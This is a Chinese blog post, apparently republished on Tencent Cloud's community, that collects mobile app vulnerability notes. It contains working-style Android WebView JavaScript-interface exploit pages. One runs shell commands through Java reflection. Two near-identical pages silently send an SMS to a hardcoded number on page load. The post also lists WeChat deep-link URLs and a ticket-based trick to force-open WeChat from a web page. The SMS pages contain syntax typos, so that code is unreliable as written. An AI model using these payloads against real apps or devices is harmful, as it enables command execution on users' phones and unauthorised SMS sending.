前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >移动app漏洞收集(待整理)

移动app漏洞收集(待整理)

作者头像
全栈工程师修炼指南
发布2022-09-28 20:26:31
发布2022-09-28 20:26:31
42100
代码可运行
举报
运行总次数:0
代码可运行

http://www.anquan.us/static/bugs/wooyun-2015-0114241.html pageid:

代码语言:javascript
代码运行次数:0
运行
复制
    <html>
       <body>
          <script>
             function execute(cmdArgs)
             {
                 return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
             var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
             document.write(getContents(res.getInputStream()));
           </script>
       </body>
    </html>

这个是执行命令的poc

    <html>
    <head>
    <title>Test send</title>
    <script type="text/javascript">
    function execute() {
        var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
        sendsms.sendTextMessage("13722555165",null,"get",null,null);
    }
    </script>
    </head>
    <body onload="execute()">
    <input type="button" onclick="="execute" value="test"/>
    </body>
    </html>

    <html>
    <head>
    <title>Test sendsms</title>
    <script type="text/javascript">
    function execute() {
        var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
        sendsms.sendTextMessage("13722555165",null,"get",null,null);
    }
    </script>
    </head>
    <body onload="execute()">
    <input type="button" onclick="="execute" value="test"/>
    </body>
    </html>

https://www.jianshu.com/p/2c6c55b48238

出售API的 http://vip.wxticket.com/

weixin的协议 weixin://看了官方的文档之后我发现了微信支持如下操作

代码语言:javascript
代码运行次数:0
运行
复制
weixin://dl/general
weixin://dl/favorites 收藏
weixin://dl/scan 扫一扫
weixin://dl/feedback 反馈
weixin://dl/moments 朋友圈
weixin://dl/settings 设置
weixin://dl/notifications 消息通知设置
weixin://dl/chat 聊天设置
weixin://dl/general 通用设置
weixin://dl/officialaccounts 公众号
weixin://dl/games 游戏
weixin://dl/help 帮助
weixin://dl/feedback 反馈
weixin://dl/profile 个人信息
weixin://dl/features 功能插件

经过一番查找我找到了能够跳转的方法 weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx 打开小xx网站的时候突然弹出的微信是什么鬼

果然是我想象得那样 weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4 我们手机打开一下我得测试网页 demo 成功打开微信并跳转~~~~

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-06-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档